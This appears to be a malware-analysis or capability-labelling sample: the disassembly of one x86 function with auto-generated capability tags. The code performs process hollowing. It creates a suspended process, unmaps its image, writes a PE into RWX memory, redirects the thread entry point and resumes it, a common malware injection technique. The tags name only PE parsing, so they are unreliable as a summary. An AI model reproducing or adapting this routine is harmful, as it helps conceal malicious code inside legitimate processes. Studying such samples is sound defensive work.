Function at 0x4023a7
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x37c
mov ebx, dword [ebp + 0xc]
lea edx, [ebp - 0x6c]
mov ecx, 0x44
mov al, 0
mov edi, edx
rep stosb byte es:[edi], al
mov dword [ebp - 0x6c], 0x44
mov dword [ebp - 0x338], 0x10007
mov dword [0x405020], ebx
cmp word [ebx], 0x5a4d
jne 0x4026b2
mov edx, dword [ebx + 0x3c]
lea eax, [ebx + edx]
mov dword [0x405024], eax
cmp dword [eax], 0x4550
jne 0x4026b2
mov esi, dword [0x40315c]
mov eax, dword [0x403034]
mov dword [esp], eax
call 0x402d44
sub esp, 4
mov dword [esp + 4], esi
mov dword [esp], eax
call 0x402d4c
sub esp, 8
mov dword [ebp - 0x350], eax
mov esi, dword [0x403048]
mov eax, dword [0x403038]
mov dword [esp], eax
call 0x402d44
sub esp, 4
mov dword [esp + 4], esi
mov dword [esp], eax
call 0x402d4c
sub esp, 8
mov dword [ebp - 0x34c], eax
mov esi, dword [0x403044]
mov eax, dword [0x403034]
mov dword [esp], eax
call 0x402d44
sub esp, 4
mov dword [esp + 4], esi
mov dword [esp], eax
call 0x402d4c
sub esp, 8
mov edi, eax
mov esi, dword [0x403040]
mov eax, dword [0x403038]
mov dword [esp], eax
call 0x402d44
sub esp, 4
mov dword [esp + 4], esi
mov dword [esp], eax
call 0x402d4c
sub esp, 8
mov dword [ebp - 0x33c], eax
mov esi, dword [0x40302c]
mov eax, dword [0x403034]
mov dword [esp], eax
call 0x402d44
sub esp, 4
mov dword [esp + 4], esi
mov dword [esp], eax
call 0x402d4c
sub esp, 8
mov dword [ebp - 0x348], eax
mov esi, dword [0x403030]
mov eax, dword [0x403034]
mov dword [esp], eax
call 0x402d44
sub esp, 4
mov dword [esp + 4], esi
mov dword [esp], eax
call 0x402d4c
sub esp, 8
mov dword [ebp - 0x344], eax
mov esi, dword [0x40303c]
mov eax, dword [0x403034]
mov dword [esp], eax
call 0x402d44
sub esp, 4
mov dword [esp + 4], esi
mov dword [esp], eax
call 0x402d4c
sub esp, 8
mov dword [ebp - 0x340], eax
lea eax, [ebp - 0x28]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x6c]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], 0
call dword [ebp - 0x350]
sub esp, 0x28
mov eax, dword [0x405024]
mov eax, dword [eax + 0x34]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call dword [ebp - 0x34c]
sub esp, 8
mov eax, dword [0x405024]
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x3000
mov edx, dword [eax + 0x50]
mov dword [esp + 8], edx
mov eax, dword [eax + 0x34]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call edi
sub esp, 0x14
mov eax, dword [0x405024]
mov dword [esp + 0x10], 0
mov edx, dword [eax + 0x54]
mov dword [esp + 0xc], edx
mov dword [esp + 8], ebx
mov eax, dword [eax + 0x34]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call dword [ebp - 0x33c]
sub esp, 0x14
mov eax, dword [0x405024]
cmp word [eax + 6], 0
je 0x402666
mov esi, 0
mov edi, 0
mov eax, dword [0x405020]
mov eax, dword [eax + 0x3c]
lea eax, [esi + eax + 0xf8]
lea eax, [ebx + eax]
mov dword [0x40502c], eax
mov dword [esp + 0x10], 0
mov edx, dword [eax + 0x10]
mov dword [esp + 0xc], edx
mov edx, ebx
add edx, dword [eax + 0x14]
mov dword [esp + 8], edx
mov edx, dword [eax + 0xc]
mov eax, dword [0x405024]
add edx, dword [eax + 0x34]
mov dword [esp + 4], edx
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call dword [ebp - 0x33c]
sub esp, 0x14
inc edi
add esi, 0x28
mov eax, dword [0x405024]
movzx eax, word [eax + 6]
cmp eax, edi
jg 0x402608
lea ebx, [ebp - 0x338]
mov dword [esp + 4], ebx
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call dword [ebp - 0x348]
sub esp, 8
mov eax, dword [0x405024]
mov edx, dword [eax + 0x28]
add edx, dword [eax + 0x34]
mov dword [ebp - 0x288], edx
mov dword [esp + 4], ebx
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call dword [ebp - 0x344]
sub esp, 8
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call dword [ebp - 0x340]
sub esp, 4
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
leave
ret